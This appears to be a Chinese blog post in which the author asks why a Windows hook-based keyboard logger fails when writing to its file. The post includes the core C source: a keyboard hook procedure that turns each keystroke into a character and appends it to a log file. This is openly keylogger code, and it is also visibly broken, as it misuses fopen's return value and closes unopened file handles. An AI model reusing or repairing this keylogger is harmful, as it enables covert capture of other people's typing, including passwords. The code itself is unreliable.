• Hook键盘记录器的问题。。。。。


    今天搞了一下Hook键盘记录器。。。。。

    不知道为会么写文件的时候会出错。。

    贴关键代码。。。。看来得解决这个问题才行啊。。。。。。。。。

    void WriteChar(char* sText)
    {
     //加锁
     HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");
     if(hMetux != NULL)
      WaitForSingleObject(hMetux, 300);
     
     FILE fp;
     if ((fp = &fopen(m_CharFileName,"ab")) == NULL)
     {
      MessageBox(NULL,"打开了出错","打开了出错",MB_OK);
      fclose(&fp);
     }

     if (fwrite(sText,strlen(sText),1,&fp) != 1)
     {
      MessageBox(NULL,"写入出错","写入出错",MB_OK);
      fclose(&fp);
     }
     fclose(&fp);
     

     //取锁
     if(hMetux != NULL)
     {
      ReleaseMutex(hMetux);
      CloseHandle(hMetux);
     }
    }

    LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
     LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);
     char key[10] = {0};
     BYTE buffer[256] = {0};
     WORD m_wchar = 0;
     UINT m_scan = 0;
        if ((lParam & 0x40000000) && (nCode == HC_ACTION))
     {
      if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100))
      {
       if (wParam == VK_RETURN)
       {
        WriteChar("\r\n");
         }
          else
       {
           GetKeyboardState(buffer);
           m_scan = 0;
        ToAscii(wParam,m_scan,buffer , &m_wchar,0);
        key[0] = m_wchar%255;
        if(key[0] >= 32 && key[0] <= 126)
         WriteChar(key);
       }
        }
     }
     return lResult;
    }

    出现问题。。写文件出错。。。

  • 相关阅读:
    CentOS 7
    CentOS
    CentOS 7
    CentOS 7
    Linux目录结构说明
    CentOS 7
    CentOS 7
    Linux——工具参考篇
    Linux工具进阶
    Selenium——UI自动化测试(2)——How to Download & Install Selenium WebDriver (待续)
  • 原文地址:https://www.cnblogs.com/ccmfc/p/1719641.html
Copyright © 2020-2023  润新知